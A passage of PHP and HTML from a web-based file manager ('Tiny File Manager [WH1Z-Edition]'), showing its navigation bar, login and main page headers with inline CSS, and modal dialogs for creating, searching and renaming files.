placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a> <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } /** * Show alert message from session */ function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]['message'])) { $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager [WH1Z-Edition]"> <meta name="author" content="CCP Programmers"> <meta name="modder" content="PinoyWH1Z"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <link rel="icon" type="image/png" href="data:image/png;base64,<?php get_favicon('favicon'); ?>"> <title><?php echo fm_enc(APP_TITLE) ?></title> <?php print_embedded_css('css-bootstrap'); ?> <?php print_embedded_css('font-font-awesome'); ?> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } /** * Show page footer in Login Form */ function fm_show_footer_login() { ?> </div> <?php print_embedded_js('js-jquery'); ?> <?php print_embedded_js('js-bootstrap'); ?> </body> </html> <?php } /** * Show Header after login */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager [WH1Z-Edition]"> <meta name="author" content="CCP Programmers"> <meta name="modder" content="PinoyWH1Z"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <link rel="icon" type="image/png" href="data:image/png;base64,<?php get_favicon('favicon'); ?>"> <title><?php echo fm_enc(APP_TITLE) ?></title> <?php print_embedded_css('css-bootstrap'); ?> <?php print_embedded_css('font-font-awesome'); ?> <?php print_embedded_css('css-font-awesome'); ?> <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?> <?php print_embedded_css('css-highlightjs'); ?> <?php endif; ?> <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script> <style> html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;} *,*::before,*::after { box-sizing: border-box;} body { font-size:15px; color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a, a:hover, a:visited, a:focus { text-decoration:none !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; } .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;} #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0; overflow: hidden; } pre.with-hljs code { margin:0;border:0;overflow:scroll; } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form, .preview-img-container { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in } input#preview-img-zoomCheck[type=checkbox] { display:none } input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { padding:4px 10px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } .border-radius-0 { border-radius: 0; } .float-right { float: right; } .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; } #main-table tr.even { background-color: #F8F9Fa; } .filename>a>i {margin-right: 3px;} </style> <?php if (FM_THEME == "dark"): ?> <style> :root { --bs-bg-opacity: 1; --bg-color: #f3daa6; --bs-dark-rgb: 28, 36, 41 !important; --bs-bg-opacity: 1; } .table-dark { --bs-table-bg: 28, 36, 41 !important; } .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; } body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; } a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); } ul#search-wrapper li:nth-child(odd) { background: #212a2f; } .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;} .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; } .theme-dark .dropzone { background: transparent; } .theme-dark .inline-actions > a > i { background: #79755e; } .theme-dark .text-white { color: #CFD8DC !important; } .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; } .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; } .message { background-color: #212529; } .compact-table tr:hover td { background-color: #3d3d3d; } #main-table tr.even { background-color: #21292f; } form.dropzone { border-color: #79755e; } </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <form class="modal-content <?php echo fm_get_theme(); ?>" method="post"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file"> <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked> <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required> </div> <div class="modal-footer"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </form> </div> </div> <!-- Advance Search Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group mb-3"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p> </ul> </form> </div> </div> </div> </div> <!--Rename Modal --> <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off"> <div class="modal-body p-4 text-center"> <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5> <p class="mb-1"> <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="rename_from" id="js-rename-from"> </p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> <!-- Confirm Modal --> <script type="text/html" id="js-tpl-confirm"> <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" 